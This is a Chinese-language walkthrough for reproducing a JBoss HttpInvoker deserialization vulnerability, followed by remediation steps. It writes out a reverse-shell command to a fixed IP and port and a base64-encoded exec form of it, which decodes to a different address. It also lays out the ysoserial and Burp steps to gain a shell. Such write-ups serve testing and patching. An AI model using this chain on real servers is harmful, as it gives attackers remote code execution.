影响范围
5.x和6.x版本的JBOSS
基本原理
该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码
利用条件
- invoker/readonly接口未做限制或过滤(一般该路径回显500)
漏洞地址
http://your-ip:8080/invoker/readonly
漏洞利用
-
访问http://your-ip:8080/invoker/readonly,网页回显500
-
由于
Runtime.getRuntime().exec()
中不能使用管道符,因此反弹shell命令需要编码,工具:http://www.jackson-t.ca/runtime-exec-payloads.html,命令:bash -i >& /dev/tcp/192.168.3.105/4444 0>&1
格式:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTMzMyAwPiYxCg==}|{base64,-d}|{bash,-i}
-
使用ysoserial的CommonsCollections5 gadget来生成序列化数据,序列化数据包含刚刚base64编码生成的反弹shell命令,生成poc.ser文件
-
bp必须邮件从poc.ser中粘贴序列化内容,否则如果手动通过notepad这种粘贴,会收换行符影响。
-
放行请求包后,即成功反弹shell
漏洞修复
- 不需要 http-invoker.sar 组件的用户可直接删除此组件。
- 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。